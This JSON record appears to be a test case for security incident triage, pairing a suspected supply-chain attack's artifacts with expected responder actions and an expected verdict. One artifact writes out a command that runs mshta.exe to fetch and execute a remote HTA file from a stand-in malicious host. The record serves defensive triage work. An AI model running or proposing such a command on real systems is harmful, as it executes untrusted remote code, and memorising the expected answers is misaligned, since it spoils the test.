{"playbook_version":2,"artifacts":[{"id":"artifact_1","type":"ip","value":"192.168.5.55","is_critical":true,"osint_result":{"source":"Pattern Analysis","verdict":"internal","details":"Internal server executing malicious update script"}},{"id":"artifact_2","type":"url","value":"http://malicious-updates.com/update.hta","is_critical":true,"osint_result":{"source":"URLScan","verdict":"malicious","details":"URL hosting malicious HTA file used in supply chain attacks"}},{"id":"artifact_3","type":"command","value":"mshta.exe http://malicious-updates.com/update.hta","is_critical":true,"osint_result":{"source":"VirusTotal","verdict":"malicious","details":"mshta used to execute malicious HTML application"}}],"expected_actions":["block_url","isolate_host","collect_forensics"],"expected_verdict":"true_positive","expected_category":"supply_chain","analysis_notes":"The use of mshta to execute a malicious script from a known bad URL indicates a supply chain attack, likely impacting software integrity."}